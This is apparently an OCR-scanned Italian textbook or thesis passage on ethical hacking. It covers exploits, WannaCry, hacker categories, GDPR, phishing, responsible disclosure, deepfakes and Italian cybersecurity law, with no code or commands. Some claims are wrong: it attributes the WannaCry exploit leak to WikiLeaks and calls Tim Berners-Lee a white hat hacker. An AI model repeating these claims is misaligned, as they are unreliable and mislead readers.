che non sia stata ancora sviluppata alcuna soluzione o procedura correttiva; pertanto, i danni
saranno piu estesi.
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Anche dopo che la correzione e stata sviluppata, inizialmente non tutti gli utenti 'avranno
applicata. Il caso di WannaCry e stato emblematico: il malware utilizzava un exploit per
Windows sviluppato dalla US Security Agency e precedentemente esposto da WikiLeaks.

Il problema é stato inizialmente corretto da Microsoft con una patch, ma tutti i computer
che non erano stati aggiornati nei giorni successivi erano ancora vulnerabili. Quando i
computer che non erano stati utilizzati durante il fine settimana sono stati avviati il lunedi
seguente, si e scatenata la seconda ondata di propagazione.

Quando un exploit e reso pubblico, gli sviluppatori di software intervengono; la vulne-
rabilita e risolta, spesso con una patch, e I'exploit e reso inutilizzabile. Per questo motivo
alcuni hacker malintenzionati, cosi come gli hacker che lavorano per i servizi militari o di
intelligence, non rilasciano dettagli di questi exploit, in modo da poter continuare ad usarli.

Un exploit & un pericoloso strumento nelle mani dei criminali informatici perché, im-
plementato in differenti modi, puo consentire loro di sfruttare le vulnerabilita hardware e
software dei sistemi per violarli e prenderne il controllo.

E bene precisare che vulnerabilita ed exploit non sono la stessa cosa: per vulnerabilita si
intende qualsiasi punto debole in un’applicazione software o dispositivo hardware, di contro
invece, un exploit potrebbe utilizzare tale vulnerabilita per causare un determinato effetto nel
sistema colpito, come ad esempio la distribuzione di malware, 1’accesso o il controllo remoto
non autorizzati.

Di seguito, si riportano le fasi di un exploit, generalmente seguite per lo sfruttamento delle
vulnerabilita:

1. Raccolta di informazioni sul sistema target: questa operazione puo essere eseguita in diversi
modi, ad esempio mediante tecniche di sniffing e/o social engineering, per ottenere
informazioni sul sistema operativo e un elenco dei servizi in esecuzione su di esso.

2. Ricerca delle vulnerabilita: una volta conosciute le informazioni necessarie del target,
I’attaccante cerca vulnerabilita note e speciﬁche.

3. Esecuzione: individuata una vulnerabilita, ’autore dell’attacco cerca un exploit da
utilizzare se gia esistente, oppure, in caso contrario, ne allestisce uno ad hoc.

La totalita degli exploit possiede una rigorosa classificazione. Sulla base del tipo di attacco
sferrato, essi possono essere classificati in:

* exploit esequiti localmente, ovvero che si attivano direttamente all’apertura di un file, di
un’immagine, un testo apparentemente innocui, ma che, tuttavia, contengono codice
che sfrutta la vulnerabilita.

* exploit eseguiti in remoto, che utilizzano una rete di comunicazione per contattare il
sistema vittima. In tal caso I"attacco potrebbe prevedere 1'utilizzo di un altro computer
interno alla stessa rete locale oppure di un accesso da Internet.

* exploit eseguiti di SQL Injection, che utilizzano applicazioni che funzionano sulla base di
database SQL.

* exploit eseguiti di negazione del servizio (DoS) che non servono a eseguire codice dannoso,
ma, piuttosto, a sovraccaricare un’applicazione o un servizio al punto da impedirne
I’esecuzione.

* exploit eseguiti per I'esecuzione di comandi che permettono all’attaccante di controllare il
codice di un programma malevolo, ottenendo, cosi, diritti amministrativi sul sistema
colpito.
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1.2.5 Black, Gray e White Hat Hacker

Black Hat Hacker

Gli hacker black hat sono criminali che irrompono nelle reti informatiche con intenzioni
malevoli. Possono anche distribuire malware per distruggere file, tenere in ostaggio computer
o sottrarre password, numeri di carte di credito e altre informazioni personali.

Queste figure hanno motivazioni opportunistiche, come il guadagno, la vendetta o,
semplicemente, il gusto di creare del caos. In alcuni casi la motivazione puo essere ideologica
e gli attacchi hanno come bersaglio persone o gruppi di persone con cui sono fortemente in
disaccordo.

I black hat pitt importanti sono tendenzialmente hacker esperti che lavorano per organiz-
zazioni criminali sofisticate, che a volte offrono strumenti di collaborazione ai loro impiegati
e offrono contratti di servizio ai clienti, proprio come aziende legittime. I kit di malware black
hat venduti nel Dark Web includono a volte persino garanzie e servizio clienti.

Molti ottengono "incarichi" tramite i forum e altri contatti nel Dark Web mentre altri
sviluppano e vendono software dannosi in autonomia. Le attivita di pirateria possono
operare come grandi aziende e con questa scala diventa facile distribuire software dannoso.

Alcune organizzazioni black hat usano persino call center per effettuare chiamate fingendo
che questi provengano da societa tecnologiche famose, come Microsoft. Con questo tipo
di truffa 'hacker tenta di convincere le potenziali vittime a consentire 1’accesso remoto
ai loro computer o a scaricare software. Quando concede l'accesso o scarica il software
consigliato, I'ignara vittima permette inconsapevolmente ai criminali di raccogliere password
e informazioni bancarie oppure di assumere furtivamente il controllo del computer e usarlo
per sferrare altri attacchi. Se cid non bastasse, la vittima riceve di solito fatture esorbitanti per
questo "servizio di supporto".

Altri attacchi sono repentini e automatizzati, senza contatto umano. In questi casi, i bot
usati per I'attacco cercano computer non protetti in Internet per infiltrarsi, spesso tramite
phishing, allegati con malware o collegamenti a siti Web compromessi.

Gli attacchi di hacker black hat sono un problema globale e, per questo, estremamente
difficile da arginare. Le forze di polizia devono affrontare varie difficolta, ad esempio il fatto
che spesso gli hacker lasciano pochissime prove, usano i computer di vittime ignare e operano
in giurisdizioni diverse. Anche se le autorita riescono a volte a chiudere un sito di hacking
in un paese, le stesse operazioni possono essere trasferite altrove consentendo al gruppo di
mantenersi in attivita.

Uno degli hacker black hat pit1 famosi & Kevin Mitnick, che, a un certo punto, e stato il
cybercriminale pit ricercato al mondo; durante la sua attivita di hacker black hat ha portato
a termine incursioni in oltre 40 grandi aziende, tra le quali IBM e Motorola, e persino nel
sistema di allarme della difesa nazionale statunitense. Alla fine fu arrestato e incarcerato.
Dopo il suo rilascio e diventato un consulente di cybersecurity che usa le sue conoscenze per
scopi di hacking white hat.

Un altro esempio famoso e Tsutomu Shimomura, un esperto di cybersecurity a cui si rico-
nosce il merito di avere incastrato Kevin Mitnick. Formatosi come ricercatore nel settore della
fisica computazionale, Shimomura ha collaborato anche con 1’Agenzia per la sicurezza nazio-
nale statunitense. E stato uno dei principali ricercatori a sensibilizzare I'opinione pubblica
sulla mancanza di sicurezza e privacy dei cellulari. Il suo libro Takedown e stato in seguito
oggetto di adattamento per il film intitolato Track Down.

Gray Hat Hacker
Gli hacker gray hat violano talvolta la legge o i normali standard etici, ma senza le intenzioni
malevoli tipiche di un hacker black hat.
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Quando individua una vulnerabilita, un hacker white hat cerchera di sfruttarla solo previa
autorizzazione e senza divulgarla prima della risoluzione. Il black hat, invece, la sfruttera in
modo illegale o comunichera ad altri come farlo. 11 gray hat non la sfruttera ille galmente, né
insegnera ad altri come farlo.

Molti gray hat sostengono che Internet non sia sicura per le aziende e ritengono che la
propria missione sia quella di renderla piti sicura per le persone e le organizzazioni. Lo fanno
violando i siti Web e le reti e generando il caos per dimostrare al mondo di avere ragione. I
gray hat affermano spesso di non voler danneggiare nessuno con le loro incursioni. A volte
sono semplicemente curiosi di violare un sistema di alto proﬁlo, senza curarsi delle leggi
sulla privacy e delle molte altre normative.

In molti casi i gray hat forniscono informazioni preziose alle aziende. Tuttavia la comunita
dei white hat e gran parte del mondo informatico non considerano etici i loro metodi in
quanto gli hacker gray hat operano nellillegalita, perché non sono autorizzati a infiltrarsi nei
sistemi di un’organizzazione.

White Hat Hacker

Gli hacker white hat, noti anche come "hacker etici" o "hacker buoni" sono l’antitesi dei black
hat: attaccano sistemi informatici o reti per individuare le falle di sicurezza e poter, quindi,
proporre raccomandazioni per il miglioramento.

Queste figure sfruttano le loro capacita per scoprire falle nella sicurezza e collaborano
alla protezione delle organizzazioni dagli hacker pericolosi. A volte sono dipendenti o
collaboratori assoldati dalle aziende, come specialisti informatici con 1’obiettivo di trovare
eventuali falle nella sicurezza.

Un sottogruppo degli hacker etici é costituito dai penetration tester o "pentester”, dedicati
in modo specifico all'individuazione delle vulnerabilita e alla valutazione dei rischi all’interno
dei sistemi, di cui abbiamo precedentemente parlato.

Gli hacker white hat usano gli stessi metodi dei black hat, ma la differenza fondamentale
e che lo fanno con il permesso del proprietario, rendendo il processo del tutto legale. Invece di
sfruttare le vulnerabilita per distribuire codice dannoso, gli hacker white hat collaborano con
gli operatori di rete per risolvere il problema prima che venga scoperto da altri.

Ecco alcuni degli esempi pit1 famosi di hacker white hat:

* Charlie Miller: famoso per aver individuato vulnerabilita nei sistemi Apple e vincitore
della famosa competizione tra hacker Pwn2Own nel 2008, Charlie Miller ha lavorato
anche come hacker etico per I’Agenzia per la sicurezza nazionale statunitense.

e Tim Berners-Lee: famoso per aver inventato il World Wide Web, Tim Berners-Lee fa
anche parte di un gruppo di white hat hacking. E attualmente direttore del World Wide
Web Consortium (W3C), che supervisiona lo sviluppo del Web.

La differenza principale tra hacker black hat e white hat & la motivazione. Diversamente
dagli hacker black hat, che si intrufolano nei sistemi illegalmente con intenti malevoli e spesso
per tornaconto personale, gli hacker white hat collaborano con le aziende per individuare
i punti deboli dei sistemi e sviluppare aggiornamenti corrispondenti. Lo scopo e quello di
assicurarsi che gli hacker black hat non riescano ad accedere illegalmente ai dati del sistema.

Nella Figura 1.5 viene mostrato un confronto tra Hacker Black Hat, Gray Hat e White
Hat.
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Figura 1.5: Black, Gray e White Hat Hacker a confronto

1.3 L’ethical hacking nel Sociale

Nell’era digitale, le interconnessioni tecnologiche permeano profondamente la nostra vita
quotidiana, influenzando la comunicazione, 'informazione e le dinamiche sociali. Tuttavia,
questa crescente dipendenza dalla tecnologia ha anche portato con sé sfide legate alla sicu-
rezza e alla privacy dei dati personali. In questo contesto, 1'ethical hacking emerge come un
potente alleato nella salvaguardia della sicurezza digitale, non solo in termini tecnici, ma
anche per quanto riguarda il benessere sociale e la protezione dei diritti individuali.

1.3.1 Privacy e Protezione dei dati personali

Il GDPR (General Data Protection Regulation) € un insieme di norme sulla protezione dei
dati dell’'UE rappresenta un’evoluzione del set di regole esistenti, basato sui solidi principi di
protezione dei dati, stabiliti nella direttiva sulla protezione dei dati.

Queste regole esistono dal 1995, ma era tempo d’assicurarsi che fossero adatte all’era
digitale. Sebbene sia stato redatto e approvato dall’'Unione Europea (UE), il GDPR, che
regolamenta I'obbligo al rispetto della privacy e alla sicurezza dei dati personali, impone
obblighi alle organizzazioni ovunque nel mondo, se e solo se raccolgono ed elaborano i dati
relativi alle persone nell’'UE.

Il GDPR e entrato in vigore nel 2016 dopo I'approvazione del Parlamento europeo e, a
partire dal 25 maggio 2018, tutte le organizzazioni devono essere conformi ad essa. Ai fini
degli obblighi normativi, I'impianto del GDPR prevede, per chi viola gli standard di privacy
e sicurezza, pesanti sanzioni che raggiungono le decine di milioni di euro e che dipendono
dai fatturati delle organizzazioni inadempienti.

Esistono infatti, due livelli di sanzioni, che raggiungono un massimo di 20 milioni di euro
0 il 4% delle entrate globali (a seconda di quale sia la cifra maggiore). Inoltre, gli interessati
hanno il diritto di chiedere il risarcimento dei danni.

La rivoluzione nell'impostazione del Regolamento risiede nel cambio di paradigma:
piuttosto che indicare una serie di regole immutabili da rispettare, la normativa fissa principi
di impostazione alla sicurezza informatica, basati sulla valutazione del rischio, rimandando i
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controlli di conformita dell’autorita competente a un approccio ex-post, a valle dell’avvenuto
incidente di sicurezza o data Breach o secondo controlli a campione.

Quindi non vi sono pitl regole rigide imposte preventivamente, ma misure adeguate
ovvero adattabili, personalizzate e implementate sulla base di una valutazione di rischio,
delle esigenze di budget.

Con il GDPR, I'Europa ha marcato la sua ferma posizione sulla privacy e la sicurezza dei
dati in un momento in cui sempre pii1 persone affidano i propri dati personali a servizi cloud
e le violazioni sono all’ordine del giorno. Questo perché i dati rappresentano il nuovo tesoro
digitale, sono soggetti a furti e rivendita nel dark web e costruiscono una moneta di valore
per i criminali.

La relazione fra GDPR e cyber security risiede nella modalita di tutela della privacy
mediante I'implementazione di misure di Data Protection e quindi di attuazione di misure di
sicurezza sui dati e attorno ai dati, nel sistema informativo che li elabora, per proteggerli da
attacchi che possono alternarne la riservatezza, I'integrita e la disponibilita.

Ecco, quindi, che le esigenze di privacy e sicurezza devono bilanciarsi continuamente
come facce della stessa medaglia che e rappresentata dal “dato”.

1.3.2 Ingegneria sociale e Phishing

L'ingegneria sociale & quel concetto secondo cui si induce con l'inganno le persone
a condividere informazioni che non dovrebbero condividere, scaricare software che non
dovrebbero scaricare, visitare siti Web che non dovrebbero visitare, inviando denaro a cri-
minali o commettendo altri errori che compromettono gli asset o la sicurezza personali o
dell’organizzazione.

Un’email che sembra provenire da un venditore attendibile, che richiede I'aggiornamento
delle informazioni relative alla carta di credito, un messaggio sulla segreteria telefonica che
afferma di provenire dall’Agenzia delle Entrate, un’offerta di ricchezze da un potentato
straniero; questi sono solo alcuni esempi di ingegneria sociale.

Poiché l'ingegneria sociale sfrutta le debolezze umane piuttosto che le vulnerabilita
tecniche o del sistema digitale, a volte viene definita ’hacking umano’.

In molti casi, i criminali informatici utilizzano tattiche di ingegneria sociale per ottenere
dati personali (tra cui credenziali di accesso, numeri di carte di credito, numeri di conti
bancari, codici fiscali) di cui avvalersi per perpetrare un furto di identita tramite cui poter
fare acquisti con il denaro o il credito di altre persone, richiedere prestiti a nome di qualcun
altro, fare domanda per lI'indennita di disoccupazione per altre persone, e cosi via. Ma un
attacco di ingegneria sociale puo anche essere il primo stadio di un attacco informatico di
pit vasta portata. Ad esempio, un criminale informatico potrebbe convincere con I'inganno
una vittima a condividere nome utente e password e, quindi, servirsi di tali credenziali per
impiantare un attacco sulla rete del datore di lavoro della vittima.

L'ingegneria sociale ¢ allettante per i criminali informatici, perché consente loro di ac-
cedere a reti, dispositivi e account digitali evitando il difficile lavoro tecnico di hackerare
firewall, software antivirus e altri controlli di sicurezza informatica. Questo & uno dei motivi
per cui l'ingegneria sociale oggi & la causa principale di compromissione della rete, secondo
il report State of Security 2021 di [ISACA. E anche uno dei pitt costosi: secondo il report Cost
FO a Data Breach 2021 di IBM, le violazioni dei dati causate da attacchi di ingegneria sociale
costano alle aziende in media 4,47 milioni di dollari.
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Tattiche dell Ingegneria Sociale

Le tattiche e le tecniche di ingegneria sociale sono fondate sulla scienza della motivazione
umana. Manipolano le emozioni e gli impulsi delle vittime in modi collaudati per spingere le
persone a compiere azioni contrarie ai loro migliori interessi.

La maggior parte degli attacchi di ingegneria sociale impiega una o piu delle seguenti
tattiche:

* Fingere di essere un marchio attendibile: i truffatori spesso impersonano aziende che le vitti-
me conoscono, di cui si fidano e con cui forse attuano spesso o regolarmente operazioni
commerciali. In questo modo le vittime seguono le istruzioni fornite da questi marchi
di riflesso, senza prendere le dovute precauzioni o prestare alcuna attenzione. Alcuni
truffatori di ingegneria sociale utilizzano kit ad ampia diffusione per la preparazione di
siti web fittizi, che assomigliano a quelli di importanti marchi o aziende;

* Fingere di essere un’agenzia governativa o un’autorita: gli attacchi di ingegneria sociale
approfittano di questi impulsi con messaggi che sembrano o dichiarano di provenire da
agenzie governative (ad esempio, un organo investigativo nazionale o ’Agenzia delle
Entrate), ﬁgure politiche o, addirittura, celebrita.

* Incutere paura o un senso di urgenza: le persone tendono ad agire in modo avventato
quando sono spaventate o in preda alla fretta. Per indurre paura o un senso di urgenza
nelle vittime, i truffatori, ad esempio, dicono alla vittima che una recente transazione
di credito non e stata approvata, che un virus ha infettato il suo computer, oppure che
un’immagine utilizzata sul sito Web viola i diritti di copyright.

* Fare leva sull’avidita: 1a truffa del principe nigeriano, un’email in cui qualcuno, che affer-
ma di essere un reale nigeriano che cerca di fuggire dalla sua nazione, offre un enorme
premio in denaro in cambio delle informazioni sul conto bancario del destinatario o di
un piccolo pagamento in anticipo, € uno degli esempi pitt noti di ingegneria sociale che
fa leva sull’avidita.

* Fare appello al buon cuore o alla curiosita: i piani dell’ingegneria sociale possono anche
fare appello sugli aspetti migliori della natura delle vittime. Ad esempio, un messaggio
che sembra provenire da un amico o da un sito di social network puo offrire aiuto
tecnico, chiedere la partecipazione a un sondaggio, sostenere che il post dei destinatari
é diventato virale e fornire un link contraffatto a un sito Web o per il download di
malware.

Phishing

Cosa sono gli attacchi phishing? Sono messaggi digitali o vocali che tentano di indurre con
I'inganno i destinatari a condividere informazioni sensibili, scaricare software intenzional-
mente dannoso, trasferire denaro alla persona sbagliata o intraprendere altre azioni dannose.
I truffatori creano abilmente messaggi di phishing in modo che abbiano caratteristiche grafi-
che e sonore che li facciano sembrare provenienti da un’organizzazione o da un individuo
affidabile o credibile, a volte anche da un individuo che il destinatario conosce personalmente.
Un tipico diagramma di attacco phishing e visibile in Figura 1.6.

Tra le molteplici truffe di phishing ricordiamo:

* Email di phishing: vengono inviate email a milioni di destinatari contemporaneamente.
Queste ultime sembrano inviate da una grande e nota azienda o organizzazione (da
una banca nazionale o mondiale, oppure da un grande rivenditore al dettaglio online)
e presentano una richiesta generica, ad esempio: ‘stiamo riscontrando un problema
nell’elaborazione del tuo acquisto, ti preghiamo di aggiornare le informazioni relative
alla tua carta di credito’.
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* Spear phishing: si rivolge a uno specifico individuo, normalmente un individuo con

accesso privilegiato a informazioni sugli utenti, alla rete di computer o ai fondi aziendali.
Un truffatore ricerchera la vittima designata, spesso utilizzando i social media, per
creare un messaggio che sembri provenire da qualcuno che la vittima designata conosce
e di cui si fida o che faccia riferimento a situazioni con cui la vittima designata ha
familiarita.

In questo caso si parla di Whaling, un tipo di spear phishing che prende di mira un
individuo di alto profilo, ad esempio un CEO o un politico.

Voice phishing o vishing: & un attacco phishing condotto tramite chiamate telefoniche. Di
solito le vittime ricevono chiamate registrate minacciose nelle quali si dichiara che esse
provengano da un organo investigativo nazionale.

SMS phishing o smishing: un tipo di attacco di phishing tramite messaggio di testo.

Phishing tramite motore di ricerca: € un attacco che coinvolge gli hacker che creano siti
Web dannosi con alti livelli di classifica nei risultati di ricerca di Google per termini di
ricerca popolari.

Angler phishing: & un attacco phishing tramite account di social media fittizi, mascherati
da account ufficiali dei team del servizio ai clienti o del supporto clienti di aziende
affidabili.

Secondo il report Cost of a Data Breach 2021 di IBM, il phishing e il metodo pitt comune
per diffondere malware e la seconda causa pitt comune di violazioni dei dati.

©
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Figura 1.6: Diagramma di Attacco Phishing

1.3.3 Sicurezza delle applicazioni Social

La sicurezza delle applicazioni social e diventata una priorita cruciale nel panorama
digitale odierno in quanto, con la diffusione di piattaforme di social media, applicazioni di
messaggistica istantanea e altri strumenti di comunicazione online, &€ emersa la necessita di
garantire che queste applicazioni siano protette da minacce informatiche, violazioni della
privacy e abusi.

L'ethical hacking riveste un ruolo fondamentale nella Sicurezza delle Applicazioni Social;
in particolare, esso si occupa delle seguenti attivita:
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* Valutazione della Sicurezza: gli ethical hacker conducono penetration testing e analisi
delle vulnerabilita per identificare possibili falle nei sistemi delle applicazioni. Questo
aiuta a rafforzare le difese e a prevenire potenziali attacchi.

* Verifica della Privacy: gli ethical hacker esaminano le politiche di privacy e le pratiche di
gestione dei dati delle applicazioni sociali per garantire che le informazioni degli utenti
siano trattate in modo conforme alle normative e in modo trasparente.

* Risposta agli Attacchi: nel caso in cui un’applicazione sociale subisca un attacco o una
violazione, gli ethical hacker possono contribuire a identificare la fonte dell’attacco,
risolvere le vulnerabilita e ripristinare la sicurezza.

* Educazione degli Utenti: gli ethical hacker svolgono un ruolo educativo, sensibilizzando
gli utenti sulle minacce informatiche e sulla pratica di comportamenti online sicuri.

* Sviluppo di Migliori Pratiche: gli ethical hacker possono collaborare con gli sviluppatori
di applicazioni per sviluppare linee guida e migliori pratiche di sicurezza, contribuendo
a creare applicazioni pit resilienti e protette.

In sintesi, la sicurezza delle applicazioni sociali e essenziale per proteggere gli utenti
da minacce informatiche e violazioni della privacy. Gli ethical hacker svolgono un ruolo
fondamentale nell’assicurare che queste applicazioni siano sicure, affidabili e in grado di
mantenere l'integrita delle interazioni digitali.

1.3.4 Disclosure Responsible

Spesso capita che ricercatori, hacker etici o chiunque utilizzi un software o un prodotto
hardware possa imbattersi in un bug. A volte ci si riferisce in maniera generica alla scoperta
di bug, ma questi “difetti”, di progettazione o programmazione, possono essere innocui,
come degli errori che avvengono quando si compie una determinata azione, o problemi ben
pit gravi nel caso di una vera e propria falla di sicurezza, la quale potrebbe essere usata
da un eventuale malintenzionato per rubare dati o accedere a parti sensibili di un software
o componente hardware. E chiaro che sul web esiste, in qualsiasi momento, qualcuno che
non vede l’ora di poter sfruttare queste falle a proprio vantaggio, usandole per rubare dati o
effettuare altre operazioni che possono creare dei danni.

Siccome non tutti coloro che scoprono queste falle sono, di base, degli hacker intenzionati
a fare danni, ma molte volte si tratta di ricercatori, universita o programmatori esperti che, di
fatto, non sono pericolosi, e stata istituita una prassi il cui scopo e permettere alle aziende
che sviluppano quel determinato software o componente di poter intervenire e risolvere il
problema prima che sia troppo tardi, vale a dire prima che qualche hacker malevolo ne venga
a conoscenza e le sfrutti a suo vantaggio.

La “Responsible Disclosure”, che possiamo tradurre in “divulgazione responsabile”, pre-
vede semplicemente che la persona che scopre una vulnerabilita contatti ’azienda produttrice
di quel determinato software o componente hardware e attenda un certo lasso di tempo
prima di renderla pubblica, il che, il piti delle volte signiﬁca comunicarla al mondo di Internet
tramite forum o altre piattaforme. Quando questa vulnerabilita viene rivelata, il software
(o hardware) in realta non e pit a rischio, perché nel frattempo sara stato aggiornato per
eliminare il problema.

La “divulgazione responsabile” pone le sue basi sul sentimento di respon sabilita sociale,
cioé fa in modo di evitare che una propria scoperta possa essere usata da qualcuno per creare
danni, e quindi mettere in pericolo altri individui. Ovviamente questa etica sociale & pit1 forte
in alcune persone piuttosto che in altre, ma mediamente e quello che ricercatori o hacker
etici dovrebbero fare. Il fatto di divulgare la vulnerabilita scoperta dopo che e stata risolta ha
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senso, dal punto di vista del ricercatore, per una questione di riconoscenza personale e di
bravura, che alla persona stessa potrebbe fare comodo.

Non esistono delle procedure o dei tempi specifici da seguire nell’effettuare questa “Re-
sponsible Disclosure”: ogni azienda, in realta, dovrebbe avere la propria prassi. E sufficiente
fare una ricerca su Google con “Responsible Disclosure”, seguito dal nome dell’azienda,
per accedere a pagine in cui viene spiegata la prassi, cioe tutte le informazioni relative a
chi comunicare la vulnerabilita, in che modo, e cosi via. Solitamente il tempo in cui questa
scoperta deve rimanere segreta, per permettere all’azienda di risolvere il problema, varia da
un mese a un anno, con una media trai90 e i 120 giorni.

1.3.5 Rilevamento e prevenzione dei deepfake

La tecnologia deepfake é sicuramente diventata uno dei driver principali nella generazio-
ne di contenuti; c’e il potenziale non solo per distribuire notizie false, ma anche per causare
disordini politici, un aumento della criminalita informatica, del revenge porn, scandali fasulli
e un aumento delle molestie e degli abusi online, inoltre, in tribunale video presentati come
prova potrebbero essere resi inutili dal utilizzo di tale tecnologia.

Gli sviluppatori di deepfake hanno la capacita di far dire o fare alle persone tutto ci6 che
vogliono e, successivamente, divulgare i falsi contenuti manipolati online. Ad esempio, nel
2021, la commissione per gli affari esteri del parlamento olandese e stata indotta con I'inganno
a condurre una video chat con qualcuno che impersonava Leonid Volkov, il dissidente politico
che guida lo staff di Alexei Navalny, leader dell’opposizione russa e principale avversario di
Putin.

Le agenzie governative sono particolarmente preoccupate sul fatto che i deepfake possano
essere utilizzati per propagare disinformazione e condurre crimini. Eppure il futuro dei deep
fake potrebbe essere davvero luminoso, ma per garantire che le applicazioni false non
vengano utilizzate in modo improprio dovremmo creare dei limiti, anche se, considerando la
velocita del progresso tecnologico in questo campo, risulta difficile pensare ad una protezione
totale. Nei prossimi anni, i deepfake utilizzeranno tecnologie e processi basati sull’Intelligenza
Artificiale sempre pii1 sofisticati accelerando e potenziando gli attacchi di ingegneria sociale.

La sicurezza cognitiva & quindi particolarmente utile per prevenire gli attacchi informatici
che manipolano la percezione umana. Tali attacchi detti anche “hacking cognitivi”, sono
progettati per influenzare i comportamenti degli utenti al fine di raggiungere gli scopi
dell’attaccante. Gli sforzi per la sicurezza cognitiva in questo settore includono anche approcci
non tecnici, ad esempio il concetto di “firewall umano” che mira a rendere le persone
meno vulnerabili alla manipolazione, tecnicamente piti preparate, nonché soluzioni tecniche
progettate per rilevare dati fuorvianti, disinformazione, cosi come metodi per prevenirne la
diffusione.

I deepfake hanno preso d’assalto Internet, trascinandosi dietro celebrita, politici e gente
comune, non solo per divertire ma anche per scopi malevoli, ad esempio creando disinforma-
zione attraverso il racconto di cose mai accadute. Negli ultimi mesi stiamo assistendo all"uti-
lizzo sempre pii1 frequente di tecnologia deep fake, dall’intrattenimento alla cyberwarfare
nel conflitto tra Russia e Ucraina.

Altro aspetto su cui € bene porre attenzione e la qualita dei prodotti realizzati, sempre pit
realistici oramai e quasi tecnicamente indistinguibili da un originale, se non per il contesto:
contenuti e situazione spesso non coincidono con la persona o la realta rappresentata.

Quali sono i metodi di prevenzione contro i deepfake?

Le autorita hanno gia cominciato ad affrontare la minaccia dei video deepfake. Ad esem-
pio, nello Stato della California sono stati approvati due progetti di legge che rendono illegali
alcune pratiche del deepfake. La legge AB-602 vieta I'uso di immagini umane sintetiche per
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creare pornograﬁa senza il consenso della persona interessata, mentre la legge AB-730 vieta
la manipolazione delle immagini di candidati politici a meno di 60 giorni dalle elezioni.

Ma sara sufficiente? Per fortuna i vendor di cybersecurity rilasciano continuamente
nuovi algoritmi di rilevamento sempre pit efficaci, che analizzano i video e rilevano le
piccole distorsioni introdotte durante il processo di falsificazione. Ad esempio, i sintetizzatori
deepfake attuali modellano un viso 2D e quindi lo distorcono per adattarlo alla prospettiva
3D del video. In questi casi & fondamentale osservare la direzione del naso.

Un altro modo di prevenzione contro i deepfake é la ricerca delle seguenti caratteristiche:

e movimenti a scatto;
e cambiamenti di illuminazione da un fotogramma all’altro;

¢ cambiamenti di tonalita della pelle;

battito di ciglia anomalo o assente;

* scarsa sincronizzazione delle labbra con il parlato;

artefatti digitali nell'immagine.

Purtroppo, con il continuo miglioramento delle tecniche deepfake, sara sempre pitl
difficile riconoscere i falsi a occhio nudo e sara necessario ricorrere a un buon programma di
cybersecurity.

Qui entrano in gioco le tecnologie anti-falsificazione all’avanguardia come, ad esempio,
alcune tecnologie emergenti le quali oggi aiutano i videomaker ad autenticare i propri video.
E possibile utilizzare un algoritmo di crittografia per inserire hash a intervalli prestabiliti
durante il video. Se il video viene alterato, gli hash vengono modificati. Le tecnologie IA e
blockchain consentono di registrare un’impronta digitale anti-manomissione per i video. E
simile alla ﬁligrana per i documenti, ma il problema & che questi hash devono sopravvivere
anche in caso di compressione del video per I'uso con codec diversi.

Un altro modo per scoraggiare i tentativi di deepfake e costituito dall’utilizzo di un
programma che inserisce nei video artefatti digitali espressamente concepiti per nascondere
gli schemi di pixel utilizzati dal software di rilevamento dei volti. Questo rallenta gli algoritmi
deepfake e riduce la qualita dei risultati, limitando le probabilita di successo del Deepfaking.

Un esempio qualitativamente notevole di deep fake & mostrato nella Figura 1.7, che
ultimamente & diventato virale, sono i video su TikTok dell’attore Tom Cruise. Creati da Miles
Fisher, che grazie ad una fisionomia simile all’attore, realizza video deep fake di una elevata
qualita.

Figura 1.7: Esempio di Deepfake con 'attore Tom Cruise
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1.3.6 Prevenzione di Istituzioni Governative

Nel mondo digitale in continua evoluzione, le istituzioni governative rivestono un ruolo
critico nella preservazione della sicurezza nazionale, nella tutela dei dati sensibili e nell’offerta
di servizi essenziali ai cittadini. Tuttavia, la crescente complessita delle sfide informatiche
pone tali istituzioni di fronte a minacce sempre pii1 sofisticate.

L’ethical hacking svolge un ruolo cruciale nella prevenzione delle minacce informatiche
all'interno delle istituzioni governative.

Per quanto concerne le normative italiane riguardo la cybersecurity, e stata pubblicata
in Gazzetta Ufficiale la legge 4 agosto 2021, n.109 recante “Disposizioni urgenti in materia
di cybersicurezza, definizione dell’architettura nazionale di cybersicurezza e istituzione
dell’ Agenzia per la cybersicurezza nazionale”.

La legge 109/2021 definisce 'architettura nazionale di cybersicurezza, introduce diverse
novita in materia e istituisce:

» [’Agenzia Nazionale per la Cybersecurity: e istituita a tutela degli interessi nazionali nel
campo della cybersicurezza, ha personalita giuridica di diritto pubblico ed e dotata
di autonomia regolamentare, amministrativa, patrimoniale, organizzativa, contabile e
finanziaria, nei limiti di quanto previsto dalla legge. L’”ACN conta fino ad un numero
massimo di otto uffici di livello dirigenziale generale, nonché fino ad un numero
massimo di trenta articolazioni di livello dirigenziale non generale nell’ambito delle
risorse disponibili. L’Agenzia puo richiedere, anche sulla base di apposite convenzioni
e nel rispetto degli ambiti di precipua competenza, la collaborazione di altri organi
dello Stato, di altre amministrazioni, delle Forze armate, delle forze di polizia o di enti
pubblici per lo svolgimento dei suoi compiti istituzionali.

I principali compiti dell’Agenzia sono:

— Promuovere la realizzazione di azioni comuni dirette ad assicurare la sicurezza
e la resilienza cibernetiche per lo sviluppo della digitalizzazione del Paese, del
sistema produttivo e delle pubbliche amministrazioni.

- Predisporre la strategia nazionale di cybersicurezza.

— Svolgere ogni necessaria attivita di supporto al funzionamento del Nucleo per la
cybersicurezza.

- Sviluppare capacita nazionali di prevenzione, monitoraggio, rilevamento e miti-
gazione, per far fronte agli incidenti di sicurezza informatica e agli attacchi infor-
matici, anche attraverso il Computer Security Incident Response Team (CSIRT)
italiano e I'avvio operativo del Centro di valutazione e certificazione nazionale.

- Curare e promuove la definizione ed il mantenimento di un quadro giuridico
nazionale aggiornato e coerente nel dominio della cybersicurezza, tenendo anche
conto degli orientamenti e degli sviluppi in ambito internazionale.

- Supportare lo sviluppo di competenze industriali, tecnologiche e scientifiche,
promuovendo progetti per I'innovazione e lo sviluppo e mirando a stimolare
nel contempo la crescita di una solida forza di lavoro nazionale nel campo della
cybersecurity in un’ottica di autonomia strategica nazionale nel settore.

— Assumere le funzioni di interlocutore unico nazionale per i soggetti pubblici
e privati in materia di misure di sicurezza e attivita ispettive negli ambiti del
perimetro di sicurezza nazionale cibernetica, della sicurezza delle reti e dei sistemi
informativi (direttiva NIS), e della sicurezza delle reti di comunicazione elettronica.
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— Svolgere attivita di comunicazione e promozione della consapevolezza in materia
di cybersicurezza, al fine di contribuire allo sviluppo di una cultura nazionale in
materia.

* Il Comitato Interministeriale per la cybersicurezza (CIC): istituito presso la Presidenza del
Consiglio dei ministri il quale ha funzioni di consulenza e vigilanza in materia di
politiche di cybersicurezza, anche ai fini della tutela della sicurezza nazionale nello
